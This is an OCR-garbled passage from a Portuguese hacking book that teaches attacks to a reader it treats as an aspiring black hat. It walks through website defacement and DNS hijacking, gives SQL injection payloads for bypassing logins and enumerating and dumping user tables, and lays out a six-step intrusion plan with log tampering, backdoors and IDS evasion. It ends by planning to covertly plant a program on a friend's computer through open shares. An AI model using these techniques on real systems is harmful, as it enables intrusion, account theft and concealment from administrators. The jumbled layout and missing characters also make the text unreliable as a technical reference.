e consiga acesso ao shell da mquina. Observe que muitas vezes voc ter acesso restrito, ento precisar fazer cracking de senhas ou brute force (vide captulo 7, Vulnerabilidades l) para conseguir acesso ao superusurio.
12031
I

Vulnerabilidades

11

I Universidd

H4CK3R

Uma vez com acesso, procure

pelos diretrios

em que as pginas so

guardadas. Em mquinas Windows com IIS elas ficam em /www/documentroot.


/var/www,
/var/
Em mquinas Unix isso varivel, pode estar em !home!http,
http, /usr/local/apache/www,
entre outros. Utilize o comando fmd (ou, se disponvel, o comando locate) para encontrar o diretrio www ou http.
5 Encontrado o diretrio, seja bonzinho e faa backup de todo o site, colocando-o em um arquivo compactado deixado a mesmo ou copiando-o para um
diretrio
qualquer.
6
Substitua o index.html (ou .php ou .asp ou .htm ou .xhtml ou .shtm...) pelo seu
prprio, j previamente diagramado, ANTES de iniciar a invaso. Voc no quer deixar a conexo aberta enquanto cria a pgina, perigando ser rastreado, no mesmo?

Apague todos os seus rastros.

Em caso de mquinas DNS, o procedimento


similar. Voc deve ter um servidor Web no ar e testado, contendo a pgina a ser mostrada. Invada o DNS e altere
as entradas. Por exemplo, voc a favor da guerra no Iraque e quer desfigurar o
site www.stopthewar.org
(Ateno lammers - este site no existe!). Descubra
qual o DNS que aponta para ele (dica: use o servio WHOIS com o comando
nslookup) e invada a mquina. L, voc vai encontrar o domnio stopthewar.org
associado a um determinado
nmero IP. Troque pelo IP do seu servidor Web
contendo a pgina falsa e pronto, est feito! No se esquea de verificar se h
DNSs secundrios. Voc ter de monitor-Ios para certificar-se de que sua alterao seja propagada, caso contrrio, ter de invadi-Ios tambm e alter-Ios " mo".

Bancos de Dados
A maioria dos sites com contedo dinmico e controle de acesso utiliza-se de bancos de dados. Os primeiros para armazenar os retalhos de cdigo a fim de usar para
montar o HfML entregue ao cliente, os segundos para manter o cadastro dos usurios. Ambos podem ser facilmente acessados com algum trabalho braal.

Conectando diretamente via Internet


Certos administradores
de redes (ou mesmo usurios leigos...) deixam seus
bancos de dados completamente
escancarados na Internet, sem f1ltragem por
firewall. possvel conectar-se a eles por meio das ferramentas disponveis no
prprio sistema operacional,
ou instalando,
banco de dados idntico ao da vtima.

no computador

do atacante,

um

Um exemplo
prtico:
na Internet,
voc encontrou
com um scanner de
vulnerabilidades
(por exemplo, o Nessus) um servidor Unix rodando o banco
de dados PostgreSQL. Para acess-Io, basta instalar e configurar um front end
grfico para acesso e administrao dos bancos de dados do Prostgre chamado
pgaccess (www.frex.ro/pgaccess).

2041
Vulnerabilidades 11[

Universidade 2 Ano

Um pouco de engenharia social ser


necessrio para descobrir os nomes das
bases de dados e de usurios. O
PostgreSQL foi s um exemplo, possvel fazer isso com qualquer banco de
dados, inclusive o MS-SQLe o Access,
quando configurados como fontes de
dados ODBC para rede. Uma instalao
com as opes-padro do banco de dados a ser atacado, na mquina do atacante, ajuda e muito a descobrir contas-padro. Scripts de conexo a SQL e
ODBC, se bem escritos, podem auxiliar
em um eventual brote force. Procure
aprofundar-se nas tecnologias de bancos de dados. A Internet est cheia de tutoriais srios a respeito do assunto.
Recomendamos a voc, antes de tentar atacar tais programas, procurar saber
como us-Ios da maneira correta. Humm, talvez seja hora de voc interromper
novamente a leitura do livro...

Senhas na Web [teoria x prtica)


Todo grande site solicita que o internauta se cadastre para liberar contedo
exclusivo. Depois do cadastro, necessrio que o internauta fornea login e
senha toda vez que entrar no site. Se o servio cobrado ou no, no interessa.
Os dados do usurio sero catalogados e mantidos em um banco de dados, e
usados pela empresa mantenedora do site para quaisquer fins. Normalmente
tais empresas possuem e divulgam uma poltica de privacidade, garantindo
que seus dados esto num ambiente seguro, livre de olhos maliciosos e que a
prpria empresa no os divulgar voluntariamente sob qualquer pretexto.
Mesmo com as desconfianas de praxe, na maioria das vezes, acreditamos na
palavra dos profissionais a quem confiamos nossas informaes, bem como na
segurana de seus sistemas.
Esse falarrio todo nos d a impresso de que nossos dados estaro seguros,
certo? Ledo engano. Nem sempre os sites se utilizam de ferramentas adequadas
para desenvolver seus produtos e servios. Vrias tcnicas podem ser usadas
para enganar as rotinas de login e nos fornecer acesso privilegiado ao site ou
mesmo obter os logins e senhas dos outros usurios. Uma das tcnicas a
chamada SQL Injection, que consiste em inserir comandos da linguagem SQL
nos campos de login e senha para, de acordo com a mensagem de erro retornada
pelo servidor, mapear todo o banco de dados dos usurios. Esse mtodo funciona para scripts ASP que se utilizam de chamadas SQL,mas pode ser adaptado
para qualquer linguagem de scripting ou CGI, como PHP ou PerI. A sintaxe
pode ser diferente, mas o mecanismo similar.

12051

]Vulnerabilidades

II

I Universidade

H4CK3R I

EMTEMPO!Conhece SQL,ASP e PHP? No? pena, mas sou forado a sugerir


que voc pare novamente a leitura do livro e procure instruir-se nesses assuntos.
Comece com um banco de dados simples como o MySQLe uma linguagem livre
como o PHP.Bonspontos de partida so os sitesWebmonkey (wwwwebmonkey.com)
e Developer's Shed (wwwdevshed.com). Os sites oficiais do PHP (wwwphp.neO e
MySQL(wwwmysq1.com) tambm so bem produtivos. Uma procura em sites de
busca pelas palavras"PHPMySQLTutorial"e bons livrossobre o assunto (e so muitos)
completam suas necessidades iniciais.
Partimos do princpio de que sempre existe uma tabela, dentro do banco de dados,
que contm todas as informaes cadastrais dos usurios. No estimativa: esta tabela necessria! No sabemos (ainda) qual o nome da tabela - pode ser Users,
Usurios,UserDB,Papagaio,SacoDePitombas -, ento, por enquanto, vamos cham-la
de tabela_usuarios. A tabela de usurios pode possuir diversos campos, como endereo, telefone, e-mail para confirmao ou nmero do carto de crdito. Mas h
quatro campos que so obrigatrios em qualquer tabela dessas. Os nomes dos campos obviamente podem variar,mas suas funes normalmente so as mesmas:
~ ID: Um identificador nico de cada usurio no sistema. a chamada "chave
primria", e necessria para o correto funcionamento da tabela e seus relacionamentos com outras tabelas.
~ Nome Completo: Campono to importante para a autenticao, mastrata-seuma
maneirade personalizaro funcionamento do sitepara cadausurio.
~ Login e senha: Os campos mais importantes; garantem o acesso ao site
para os usurios cadastrados.
~Admin: Um flag que indica se o usurio tem poderes especiais para administrar o site.
Um exempo de tabela seria:
ID
1
2
3
4

Nome Completo
Henrique Cesar Ulbrich
James Fbio Della Valle
Suzana Warren
Fabio Cruz

Login
ulbrich
james
suzy
fcruz

Senha
W6rYwH
D3114V4113
pipoca
blaublauO 1

Admin? (S/N)
S
S
N
N

Esse fragmento de tabela nos revela coisas interessntes. O que mais salta
vista que as senhas dos usurios comuns normalmente so muito fracas, e um
bom ataque por dicionrio facilmente as descobriria. Mas h algo que, de to
bvio, passa despercebido pela maioria das pessoas: os administradores quase
sempre so os primeiros nomes da lista. Em mais de 90% dos casos, o ID 1 da
tabela corresponde ao desenvolvedor, que seguramente deu a si mesmo poderes
de administrador para poder fazer os testes necessrios. Essa informao ser
til mais para frente.

12061
Vulnerabilidades II [

Universidade 2 Ano

Voltemos ao site. Quando o usurio preenche os campos de login e senha, o


script ASP os guarda, cada um em uma varivel. Vamos cham-Ias de login e
senha. No muito original, mas tenha certeza de que um grande nmero de
sistemas por a utiliza exatamente esses nomes, alguma variao deles ou seu
correspondente em ingls.
O prximo passo seria o script ASP comparar os dois campos com o que est
cadastrado, para garantir ou barrar o acesso ao site. Um exemplo de comando
ASP seria:
senha,
nome,
admin
SQLOpen = ffSELECT login,
FROM tabela_usuarios
WHERE login
= ' ff &Login& ff ,
AND senha
= ' ff &Senha& ff , ff

O que esse comando faz mandar para o banco de dados um comando SQLpara
listartodos os usurios que contenham o login e a senha informados. Por exemplo, se
um internauta digitar,como login e senha,"junior"e "fabio",a string SQLficaria assim:
SELECT login, senha, nome, admin FROM tabela_usuarios
WHERE login = 'junior' AND senha = 'fabio'
Trocando em midos, esse comando solicitar ao banco de dados uma lista
com todos os registros cujo campo login for junior e o campo senha seja fabio.
Em um sistema bem-feito, no haver nomes de login repetidos, logo o banco vai
retornar os dados do usurio, se ele existir. Compare o comando ASP e o comando SQLpuro. No primeiro, aspas duplas separam o que uma string pura do que
comando ASP.As aspas simples so consideradas parte da string pura. Como
podemos perceber, os valores atribudos aos campos login e senha esto entre
aspas simples. Hummm... E se eu colocar, no meio do meu login, uma aspa simples tambm (por exemplo, jun 'ior)?O comando SQL resultante ser:
SELECT login, senha, nome, admin FROM tabela_usuarios
WHERE login = 'jun'ior' AND senha = 'fabio'
O SQL considerar o nome de login como apenas jun e o resto do nome, ior,
como parte do comando SQL. IOR no um comando SQL vlido, portanto a
pgina retomar um erro. justamente esse erro que, mais para frente, nos
dir qual a estrutura da tabela. Por ora, vamos us-Io para inserir mais comandos SQL no campo de login.
Experimente, no login, inserir a seguinte string
, OR 1=1

- -

e veja o que acontece. Possivelmente voc se logou como administrador!!! Vamos analisar como essa feitiaria funciona na string SQL:
SELECT login, senha, nome, admin FROM tabela_usuarios
WHERE login = " OR 1=1 -- AND senha = "
Traduzindo a string para o portugus (isso sempre facilita...): "SELECIONE
os campos login, senha, nome, admin DA TABELAtabela_usuarios EM QUE o
login seja vazio (' ') ou a condio 1 = 1 seja verdadeira". Queee? 1 = I?
Essa condio SEMPRE verdadeira, portanto, o usurio magicamente est

12071
1

Vulnerabilidades

11

I Universidade

H4CK3R I

logado no sistema!!! A senha nunca ser consultada validada, pois todo o resto
da string (AND senha =' ') est comentado com os dois travesses.
Se voc j souber o nome de usurio de uma pessoa e quiser acessar o sistema com seu login, basta colocar a string mgica no campo senha. Ou comentar
o campo de login, aps entrar com o usurio. Por exemplo, se voc sabe que o
login de sua me neidem, tente:
login: neidem'-senha:
<vazio>
ou
login:
neidem
senha:' OR 1=1
Algumas vezes necessrio colocar' OR 1=1 tambm no campo senha, em
vez de comentar com travesses o final do campo login.
Outro caso em sites pblicos com cadastros numerosos. Podemos colocar a
string mgica no campo login e "chutar" uma senha qualquer. O comando SQL
vai puxar todos os usurios que tiverem aquela senha, e voc se logar no
primeiro deles. Use suas listas de palavras (lembra-se do captulo 7?) e entre
seguramente. Voc encontrar diversas duplas nome/senha. Com um pouco de
organizao, voc poder fazer uma lista dos nomes e senhas vlidos no site e
usar "um pouco de cada", dificultando o rastreamento das contas invadidas.
Brinque bastante com os sites escolhidos para vtima - sites com MS SQL e ASP
so presas perfeitas. Com seus conhecimentos de PHP e MySQL,monte um site
para experincias e insira todos os comandos SQL que voc conseguir lembrar.
Bem, agora que j conseguimos entrar, que tal descobrir como a tabela est
montada? Lembre-se de que estamos completamente cegos at agora. Um comando conhecido de SQL o HAVlNG,que permite selecionar grupos de campos que
possuam um padro especfico. Coloque, no campo de login, a string , having
1=1 - - e observe o resultado. Cada gerenciador de banco de dados emitir erros
diferentes, mas em comum eles tero uma mensagem parecida com essa:
Column 'userid' on table 'mainsite' is invalid on the
selected list ...
Opa! O banco de dados alegremente nos presenteou com o nome da tabela,
mainsite e o nome do primeiro campo da tabela, userid. Alguns bancos de
dados retomariam o valor desse campo em formato orientado a objetos, algo
como mainsite.USERID. No importa, j temos dois dados importantes. Mais
para frente, a mensagem provavelmente mencionar que no h uma clusula
GROUP BY no comando. Bem, vamos adicionar tal clusula e ver no que d:
Usuario: ' GROUP BY mainsite.USERID having 1=1 -Cruzes! Olhe a resposta do site:
Column 'userlogin' on table 'mainsite' is invalid on the
selected list ...
J sabemos o nome do segundo campo!!! Tentemos de novo:
U~o:'
GROUPBY mainsite.USERID,mainsite.USERLOGINhaving 1=1 --

1208 I
Vulnerabilidades 11[

Universidade 2 Ano

A resposta

Column 'username' on table 'mainsite' is invalid on


the selected list ...
Continue sua pesquisa usando esse mtodo. Quando no houver mais mensagens de erro, voi1,voc possui todos os campos da tabela. Agora, vamos recuperar as linhas da tabela, ou seja, os registros de cada usurio. Vamos usar o
comando SQL UNION:
Usuario:

' UNION ALL SELECT

userid

FROM

rnainsite WHERE

1=1

--

Preciso explicar? O valor de userid retomado na mensagem. Faa isso com


todos os campos. Obviamente, se o script for bem escrito, esses artifcios no
funcionaro. Muitas vezes o script bem-feito e testar os campos procura
de caracteres maliciosos ANTES de mand-Ios ao comando SQL. Nesses casos
voc no conseguir entrar, mas ainda pode ter uma indicao na mensagem de
erro do site sobre os nomes dos campos, da tabela e da base de dados. Anote
TUDO e tente fazer um diagrama. Uma espiadela no que retomado na URL
tambm uma boa...
Isso apenas o bsico do bsico sobre SQL Injection. Para saber mais sobre o
assunto, recomendamos a leitura do excelente livro Segurana contra Hackers
- Aplicaes WEB, de Scambray e Shema (Editora Futura/McGraw-Hill, 394
pginas). Uma pesquisa no Google pelas palavras "SQL Injection" vai retomar
praticamente toda a documentao disponvel sobre o assunto.

Estamos todos vulnerveis?


Infelizmente, a resposta, em uma palavra, sim. Nossos sistemas de informao, com todos os patches, Service Packs e correes, so falhos porque foram
desenvolvidos sem levar a segurana em conta. muito mais fcil plantar rvores que fazer enxertos.
No podemos, nem queremos ou temos espao para demonstrar a fundo todos
os tipos de vulnerabilidades existentes. O captulos 7, Vulnerabilidades I, e este
serviram apenas para que voc tome contato com algumas tcnicas esparsas
sobre o assunto. Nos prximos captulos, daremos uma viso mais clara de como
se planeja um ataque, como se defender deles e o que fazer caso seja invadido.
Falando em contra-ataque, recentemente foi lanado um "brinquedo" que caa
e destri os hackers que o invadiram. Acesse www.backfiresecurity.co.uk
e
saiba mais sobre ele.

12091
I

Vulnerabilidades

11

Universidade 3 Ano:
Tornando-se

um Hacker

Ataque, defesa e
contra-ataque:

Introduco
.
Captulo
L./ come fece Romolo,

10
o comunque

se chiamasse

il capoccione

de quei tipacC/; a procurar donne a se e ai suoi


compani. Indisse una grande festa, 1.../
e invit a prendervi parte i vicini di casa sabinil.../

cal loro re, Tito Tazio, e sopratutto le loro figlie': 1


Indro Montanelli, "Storia di Roma", 1957

1 "C.') como fez Rmulo, ou como quer que se chamasse o chefe


daqueles caras, para conseguir mulheres para si e para seus companheiros. Deu uma grande festaC.,) e convidou seus vizinhos, os sabinos
C.') que trouxeram seu rei, Tito Tcio, e sobretudo suas filhas C.')" Um
excelente exemplo de engenharia social daquela poca. A fase de planejamento dessa festa algo digno de leitura.

Universidade 3 Ano:
Tornando-se

um Hacker

Ataque, defesa e
contra-ataque:

Introduco
.
Captulo
"f.../

il capoccione

10

come fece Romolo, o comunque se chiamasse


de quei tipacci, a procurar

donne a se e ai suoi

compani. Indisse una grande festa, LI


e invit a prendervi parte i vicini di casa sabinil.../

col loro re, Tito Tazio, e sopratutto le loro fig/ie ".'


Indro Montanelli.
"Storia di Roma". 1957

1 "(...) como fez Rmulo, ou como quer que se chamasse o chefe


daqueles caras, para conseguir mulheres para si e para seus companheiros. Deu uma grande festa(...) e convidou seus vizinhos, os sabinos
(...) que trouxeram seu rei, Tito Tcio, e sobretudo suas filhas (...)" Um
excelente exemplo de engenharia social daquela poca. A fase de planejamento dessa festa algo digno de leitura.

I Universidade

H4CK3R

Chegamos parte crucial de nosso curso. At aqui vimos diversas tcnicas


pontuais e especficas de ataque, usando ferramentas prontas ou baseadas em
conceitos muito rudimentares. Fora o exposto en passant nos captulos de
Vulnerabilidades I e 11,no foi mostrada nenhuma estratgia ou planejamento.
Fazendo uma analogia com o mundo real, ensinamos a apertar parafusos, a
estampar peas em ao, a projetar circuitos eltricos, a instalar som automotivo
e a fabricar pneus e peas plsticas a partir de derivados de petrleo. Mas no
ensinamos como montar o automvel.
A partir de agora, comearemos a ver as coisas de forma mais sistemtica,
seguindo uma ordem lgica e fundamentando todos os procedimentos com
informaes a respeito das tecnologias en40lvidas.
EM TEMPO: para fins didticos, consideramos que o leitor quer se tornar um
black hat e direcionamos o texto para esse objetivo. Entretanto, os autores
repudiam isso e eximem-se de responsabilidade de qualquer ato decorrente
das informaes aqui contidas, e seu uso de inteira responsabilidade do leitor. Lembramos que estas informaes esto livremente disponveis na Internet
e podem ser facilmente encontradas.

Os seis passos para


um hacking feliz
Seis?No eram quatro? No captulo 7 (Vulnerabilidades1),descrevemos um pequeno roteiro para planejamento e execuo de ataques, que reproduzimos abaixo:
1. Uma vez descoberta a vulnerabilidade, no tente invadir sua presa imediatamentejAo contrrio, conhea sua vtima. Visite seu site na Internet (sem atacar, apertas olhe). Se for na sua cidade, visite sua sede e tente descobrir mais
sobre produtos, empregos, servios, funcionrios, hbitos... Podem-se usar tcnicas passivas (observao: para ver o que entra e o que sai da mquina ou
rede) ou ativas, como organizar miniataques a pontos isolados e verificar as
mensagens que so retomadas. O importante coletar informaes suficientes
para elaborar um plano de ao, preferencialmente com desfechos alternativos caso algo d errado.
2. O primeiro acesso a gente nunca esquece. Essa a parte mais importante
do ataque. Pode-se dizer que esta etapa o ataque propriamente dito. Depois
de descoberta a vulnerabilidade e examinado o comportamento da vtima, use
o exploit apropriado para ganhar acesso limitado ao sistema. E no se esquea
de usar um proxy pblico para esconder seu endereo IP!!!

3. Humm. Uma vez com acesso limitado, a prxima etapa consiste em ganhar
acesso total mquina (root para sistemas Unix, administrador para sistemas
WinNT

- no Win9x, o primeiro

acesso j garante

controle

total...). Cada SO

possui procedimentos diferentes para tal. Uma vez conseguido o acesso irrestrito,
basta coletar as informaes desejadas e, se for o caso, desfigurar o sistema.

2141
Ataque, defesa e contra-ataque: Introduo I

Universidade 3 Ano

4. Agora que voc j "ownou" o sistema, trate de cobrir seus rastros e instalar as portas de trs. Verifique os logs do sistema e apague tudo o que for
relativo sua visita, MASAPENAS ISSO! Resista tentao de apagar o log
todo - um "buraco" no registro de eventos far com que o administrador
descubra mais cedo do que o esperado que algum andou bulindo com seu
brinquedo. Depois de fazer a cirurgia nos logs, instale os backdoors. Alguns
hackers mais experientes tm o cuidado de aplicar patches no sistema para
remover as portas que o deixaram entrar, evitando assim que outros hackers
menos habilidosos entrem no sistema e, por descuido, alertem o administrador de que a mquina foi tomada.
Mas neste ponto do livro, nosso objetivo no mais agir como script kiddies,
que vagam pela Internet procurando por presas fceis que saibam caar. Ao
contrrio, queremos ter uma idia de como black hats, digamos, "profissionais" trabalham para alcanar seus objetivos em um alvo especfico, qualquer
que seja seu nvel de dificuldade. Para tanto, vamos tentar separar, por afinidade, nossos esforos em seis passos distintos. Como guerra o assunto do
momento, usaremos termos militares para nos referir a cada um deles. Talvez
as cruzadas, as guerras do Paraguai, Vietn, Meganisto, os conflitos na Palestina ou at mesmo a Guerra no Golfo 2 tenham passado. Mas os cybercombates
entre hackers/crackers e administradores de sistemas vo durar muitos anos,
talvez sculos.
~ Passo 1: Planejamento
Hummm, difcil dizer se este realmente o passo 1. Na verdade, todos os
passos so interdependentes: precisamos das informaes obtidas em cada
movimento que fazemos para poder planejar (e corrigir) adequadamente nosso ataque. A seqncia de atividades ser, portanto, algo parecido com 1-2-1-31-4-1-5-1-6-1,em vez da bvia 1-2-3-4-5-6.
Como todo plano precisa de ajustes e como quase toda tarefa pode ser subdividida em vrias mais especficas, podemos perceber que o processo de planejamento ser contnuo durante toda a batalha e durar at bem depois da
fmalizao do ataque. Cada pequeno detalhe do ataque tem seu prprio plano
1-2-1-3-1-4-1-5-1-6-1.Se voc no documentar muito bem cada um dos passos
que tem a fazer, acabar com um bocado grande demais para mastigar sem
estalar a boca. E no esquea: formas de esconder as provas do crime tambm
fazem parte do planejamento!
No basta saber o que est fazendo. necessrio saber por que est fazendo.
Se voc tem uma resposta na ponta da lngua quando perguntado "ei, por que
voc quer invadir minha empresa?" pode seguir em frente. Mas no se esquea de
que, uma vez dentro, voc ser rastreado. Se voc j sabe o que quer fazer quando
estiver entre os muros do castelo, timo. Se no sabe, no tente! E no esquea
que, dependendo de seus intentos, voc estar incorrendo em algum crime.
12151

] Ataque, defesa

e contra-ataque:

Introduo

I Universidade H4CK3R I

~ Passo 2: Observao
Toda operao militar, seja governamental ou dos rebeldes, precisa estar
embasada em informaes precisas e detalhadas sobre o alvo. O conjunto de
dados necessrios incluem diversos subconjuntos aparentemente no relacionados: detalhes pessoais, como hbitos, habilidades profissionais, passatempos,
famlia, amigos, antigas namoradas; informaes corporativas, hierarquia interna, clientes/concorrentes/fornecedores,
dados sobre os sistemas de informao... Do monstro de dados obtido, h ainda a necessidade de garimpar informaes no disponveis diretamente, fazer referncias cruzadas e, literalmente, "ler nas entrelinhas".
Vrias tcnicas podem ser usadas aqui. A mais bvia e eficaz (embora menos
direta e mais perigosa) a Engenharia Social. Mas mesmo sem contar mentira
alguma, possvel coletar uma coleo razovel de informaes obtidas da Internet
ou de observao direta. No se afobe: pacincia a palavra-chave aqui.
~ Passo 3: Busca
Com os planos, mapas e a lista de tarefas na mo, podemos comear a procurar os buracos pelos quais vamos entrar. Um arsenal numeroso e variado de
scanners de portas e vulnerabilidades deve estar disposio para que todos
os pontos fracos sejam revelados. Assim como no passo anterior, pacincia
um dos ingredientes mais importantes desta etapa. Mas no o nico. No basta
usar uma ferramenta que revele o furo de segurana se voc no entende como
ela funciona.
~ Passo 4: Invaso
H vrias maneiras de ganhar acesso ao sistema-alvo. Nos captulos
Vulnerabilidades I e 11vimos algumas. Mas so tcnicas pontuais, que exploram
fraquezas especficas de um sistema. A grande sacada saber agrupar as vrias
tcnicas disponveis de maneira a atingir o objetivo maior. Alm disso, muitas
vezes necessrio passar por vrios nveis de acesso at conseguir poderes
suficientes para atingir o objetivo final do ataque.
~ Passo 5: Manuteno
Nem todos os administradores de rede so completos idiotas. A maioria, na
realidade, no . Uma vez detectada uma vulnerabilidade que possibilite um ataque, qualquer administrador provido de bom senso vai aplicar os patches de
segurana, fechando o rombo. Se voc j invadiu uma vez por um buraco na
segurana ou uma falha em algum programa, possvel que sua prxima tentativa, dias depois, seja infrutfera: a porta estar fechada. Uma vez dentro dos
muros do castelo, necessrio instalar meios para que se possa entrar e sair sem
ser notado, e que sejam independentes das brechas de segurana do sistema.

12161
Ataque, defesa e contra-ataque: Introduo[

Universidade 3 Ano

~ Passo 6: Evaso
"J invadi, j copiei, j desfigurei, j apaguei e j destru, e ainda deixei portas
secretas por onde entrar e sair sem ser incomodado. E agora, fao o qu?" Bem,
pequeno gafanhoto, est na hora de apagar os rastros que voc deixou. Essa
etapa comea j na preparao do ataque, escolhendo as ferramentas e procedimentos menos ruidosos, tomando cuidado para no deixar aparente que est
logado no sistema e, principalmente, tentando descobrir antes de entrar se h
um sistema IDS ativo. Depois de fazer o que tem de fazer (defacement, cpia de
arquivos e programas, lanamento de outros ataques), apague criteriosamente
suas pegadas nos arquivos de registro do sistema, tomando o cuidado de no
danificar os outros dados registrados. uma falha amadorssima "limpar" demais
o logoOutro cuidado que deve ser tomado j nos passos iniciais de planejamento
a preveno contra sistemas de deteco de intrusos, os famigerados IDSs.

o portal
Estamos prestes a entrar no lado negro. Uma vez l, muitos ficaro tentados
a no sair. um risco que todos temos de correr. Nas prximas pginas veremos, de forma detalhada, como levar a cabo cada um dos passos vistos aqui. A
escolha toda sua, caro leitor.

A melhor maneira de organizar as idias pegar um pedao de papel (prefiro papel tela do computador) e rabiscar algumas coisas. As pessoas normalmente perguntam-se por onde comear, esquecendo-se de que a nica coisa
que sabem aonde querem chegar. Portanto, vamos comear pelo fim. Nosso
objetivo pregar uma pea em nosso amigo com um programa inofensivo e
incmodo (chato, mesmo!).

PROGRAMA
CHATO
12171

I Ataque, defesa e contra-ataque:

Introduo

I Universidade

H4CK3R

S esse quadro j nos suscita vrias dvidas:


1. Qual programa usaremos?
2. Como ser instalado?
3. Ser disparado por tempo ou eventos?
4.Tem tamanho mximo defmido?
5. O seu amigo entendido de computadores e vai saber o que fazer quando
o programa disparar?
6. Quer que o programa diga o nome do autor da brincadeira ou que mantenha segredo at que voc ria bastante?
Uma vez formuladas as perguntas iniciais (no se preocupe, outras aparecero...), temos de gastar um pouco de tempo pensando e pesquisando para
respond-las. Algumas respostas plausveis poderiam ser:
1. Seu amigo torcedor fantico da Ponte Preta. Doente. Possui faixas, camisas oficiais de diversos anos autografadas pelos jogadores, scio fundador do
clube... Que tal uma animao em Flash, criada por aquele seu colega
webdesigner num favor muito especial, comemorando a derrota da Ponte Preta para o XV de Piracicaba?
Animao em Flash? Isso quer dizer que sua vtima usa Windows, certo. Se ele
usar Mac ou algum Unix isso no vai funcionar. Este um timo exemplo de
como o planejamento, embora esteja indo bem, precisa de ajustes. Imagine se
voc tivesse enviado a animao "na louca" e descoberto, posteriormente, que
no funcionou porque seu amigo/vtima usa FreeBSD?
Temos, ento, de, por meio de Engenharia Social (ou com a ajuda do Nmap,...)
saber qual o sistema operacional da vtima. Por engenharia social, descobrimos
que o Windows Me.
2. A instalao outro problema. Voc pode fazer seu amigo instalar a bomba para voc, basta envi-la por e-mail dizendo que um f1lminho legal. Mas a
vtima desconfiada (voc j sabe disso, o conhece h anos), e no vai abrir
qualquer coisa que chegue.
Voc poderia elaborar um e-mail HTML com um VBScript que instalasse o
programa automaticamente, mas voc teria de saber qual o cliente de e-mail
que ele usa. Por engenharia social, descobrimos que ele usa o The Bat
(www.ritlabs.com/the bat - os autores recomendam!!!), que premiadssimo
justamente por ser imune a essas coisas.
Ou ainda usar alguma vulnerabilidade do Windows. Para isso precisaramos
rodar um scanner qualquer, como o Nmap. Mas no temos o IP dele, ento
necessrio arranjar um artificio para descobri-lo.
Voc tem de encontrar uma forma de fazer com que o Flash dispare depois
de um tempo ou responda a um evento. As trs opes mais simples, sem precisar interagir a fundo com o prprio sistema operacional, so:
12181
Ataque, defesa e contra-ataque:

Introduo

Universidade 30 Ano

~ Um trojan, para voc controlar a bomba remotamente;


~ O Flash ser "fundido" a um programa do sistema (como a calculadora ou o
bloco de notas) para que, quando este for aberto, aquele entre em operao;
~ O prprio Flash ser rodado na inicializao e possuir um timeout de pelo
menos uma hora para entrar em ao;
~ Uma combinao de todos eles.
Nesses casos, quanto menor melhor, mas precisamos
Passos 2 e 3:
saber como a conexo do nosso amigo para determiObservaco e b ---nar o tamanho da animao. Se a vtima tiver um modem
do
Determinao
de 33,6 K, certamente perceber se estivermos fazenambiente
- Engenharia social para
do um upload de uma animao Flash de 2 Mbytes...
determinar
SO e MUA
Perguntando, voc descobre que ele assinante de um
Resultado: WinMEe The Bat
grande provedor nacional de acesso rpido - olha ,
uma informao que pode ser til mais tarde...
Seu amigo esperto, engenheiro eletrnico e
um
usurio avanado de informtica. Mesmo assim,
Busca
brechas
por
- Scan para obter falhas e
no entende dos detalhes internos de software (o
determinar quais usar
Scanners escolhidos: Nmape
negcio dele hardware) e sempre pede ajuda a voc
Nessus
para "calibrar" o Windows dele, quando "d pau".
(quem sabe no por isso que voc, inconscientemente, est fazendo essa sacanagem?)
Passo 4: Invaso
De jeito nenhum! Nego at a morte!
Escolha do programa-bomba Humm... se voc colocou todas essas perguntas, resChato
Programa
postas e ponderaes sobre as respostas em uma fo- Animao em Flash executvel
lha de papel, aps algum tempo lendo e relendo o
no Windows
- Tema: Ponte Preta O x 1 XV de
resultado,
chegamos ao diagrama ao lado. Observe a
Piracicaba
dvida que surgiu no ltimo quadro: como invadir?
No sabemos quais as vulnerabilidades existentes,
pois na etapa "Busca por brechas" no tnhamos o IP
da vtima para procur-la.
H diversas maneiras de obter o IP de algum. Uma
e Controle
Camuflagem
Flash comtempo de espera
delas perguntando. A maioria das pessoas no vai
Instalado no WIN.INI para ser
escondido o bastante,
mesmo
desconfiar que para algo "malvado". Mas no o
assim facilmente removvel
caso do seu amigo.
Voc costuma conversar por ICQ com ele. H alguns anos, o prprio cliente de ICQ diria o IP da
outra
pessoa. Hoje h a possibilidade de camuflar
Passo 4: Invaso
essa
informao.
Dependendo da verso, entretanto,
Mtodo de invaso
e das opes escolhidas na configurao, mesmo os
mais modernos podem revelar tal informao. Isso
???????????
porque o ICQ de ambos os lados da conversa pode
se conectar tanto diretamente quanto atravs de um
servidor central.
-

12191
I

Ataque, defesa e contra-ataque:

Introduo

I Universidade

H4CK3R

Passos 2 e 3:
Vamos fazer uma tentativa. Espere
Observao e busca
ele entrar on-line e inicie uma conDetenninao do ambiente
Determinao do IP
- Engenharia social para
- ICQou MSNMesseger
versao. Desligue tudo o que acessar
Transferncia de arquivos determinar SOe MUA
- Resultado: WinME
e The Bat
Internet em seu computador:
- Netstat -na
I
e-mail, navegadores, eMule, KaZaA,
I
-.
MSN Messenger, deixando apenas o
Busca
por brechas
ICQ.Troque algumas mensagens com
- Scanpara obter falhas e determinar
quais usar
ele e pea que ele lhe envie algum ar- Scanners escolhidos: Nmape Nessus
- Resultado: C",=tilhamento de
quivo razoavelmente grande (MP3,
Arquivosabertos (TCP139)
imagem, programa, qualquer coisa).
Antes de aceitar a transferncia, abra
uma janela do MS-DOS.
Passo
4: Invaso
Durante a transferncia, use o comando netstat -na Escolha do programa-bomba
Programa
Chato
na janela do MS-DOS,da mesma maneira como voc
- AnimaoemFlash
executvel no Windows
fez nos captulos de Redes 11e Vulnerabilidades 11.Na
- Tema: Ponte Preta Ox 1
lista de conexes que vai aparecer, as ltimas delas
'.01de Piracicaba
so os IPs da sua conversao e da troca de arquivos.
O IP remoto mostrado o dele.
Essa dica funciona com qualquer transferncia de Camuflagem e Controle
dados on-line entre os dois computadores. E-mail no - Flash comtempo de espera
- Instalado no WIN.INI para ser
on-line: quem transfere o servidor SMTP,no a pes- escondido o bastante, mesmo
assim facilmente removvel
soa que o enviou. No caso do MSN Messenger, do AOi
Instant Messenger e do Yahoo! Messenger, as mensagens so sempre intermediadas pelos respectivos servidores, portanto, o netstat vai mostrar o IP do serviInternet
Explorer
dor Passport.NET, por exemplo... Com uma exceo:
- \\IP.VTIMA
- Copiar
bomba para
a transferncia de arquivos ainda peer-to-peer. Se o
C: \ Windows
Edi tar
WIN. INI
seu amigo usar MSN e no ICQ, pea para ele enviar
-Esperar
um arquivo grande. O IP dele certamente aparecer
na lista do netstat com este artifcio.
Agora que temos o IP da vtima, vamos escane-Ia. Usando o Nmap, descobrimos que, por descuido, nosso amigo engenheiro deixou os compartilhamentos
